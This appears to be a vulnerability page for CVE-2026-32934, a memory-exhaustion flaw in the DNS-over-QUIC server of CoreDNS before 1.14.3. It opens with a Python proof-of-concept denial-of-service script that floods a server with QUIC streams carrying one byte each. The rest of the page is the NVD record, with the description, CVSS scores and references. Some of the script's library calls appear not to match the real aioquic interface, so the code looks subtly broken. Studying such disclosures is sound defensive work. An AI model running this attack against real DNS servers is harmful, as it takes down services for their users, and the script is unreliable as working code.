CVE-2026-32934

# PoC for CVE-2026-32934 (Conceptual) # This script demonstrates the logic of the slow-attack on DoQ. # It requires a QUIC library like aioquic. import asyncio from aioquic.asyncio import connect from aioquic.quic.configuration import QuicConfiguration async def exploit_core_dns(target_host, target_port): # Configure QUIC client configuration = QuicConfiguration(is_client=True, verify_mode=False) async with connect(target_host, target_port, configuration=configuration) as connection: print(f"[+] Connected to {target_host}:{target_port}") # Open multiple streams to exhaust the worker pool for i in range(1000): # Get a new stream ID stream_id = connection.send_new_stream() # Send only 1 byte of the DoQ length prefix. # The server expects 2 bytes for the length prefix. # This causes io.ReadFull() to block indefinitely. connection.send_stream_data(stream_id, b'\x01') print(f"[+] Sent 1 byte on stream {stream_id}") # Wait to observe the impact await asyncio.sleep(10) print("[+] Attack packets sent, server should be OOM soon.") if __name__ == "__main__": target = "127.0.0.1" port = 853 try: asyncio.run(exploit_core_dns(target, port)) except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-32934", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:35.853", "lastModified": "2026-05-08T16:03:02.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CoreDNS is a DNS server that chains plugins. In versions prior to 1.14.3, the DNS-over-QUIC (DoQ) server can be driven into unbounded goroutine and memory growth by a remote client that opens many QUIC streams and sends only 1 byte per stream. When the worker pool is full, CoreDNS still spawns a goroutine per accepted stream to wait for a worker token. Additionally, active workers block indefinitely in io.ReadFull() with no per-stream read deadline, allowing an attacker to pin all workers by sending a single byte so the read blocks waiting for the second byte of the DoQ length prefix. This enables an unauthenticated remote attacker to cause memory exhaustion and OOM-kill. This issue has been fixed in version 1.14.3. No known workarounds exist."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coredns.io:coredns:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.14.3", "matchCriteriaId": "0B1F8FE2-314C-4C38-9F18-099ACCFF0AAD"}]}]}], "references": [{"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/coredns/coredns/security/advisories/GHSA-2wpx-qpw2-g5h5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/coredns/coredns/security/advisories/GHSA-2wpx-qpw2-g5h5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}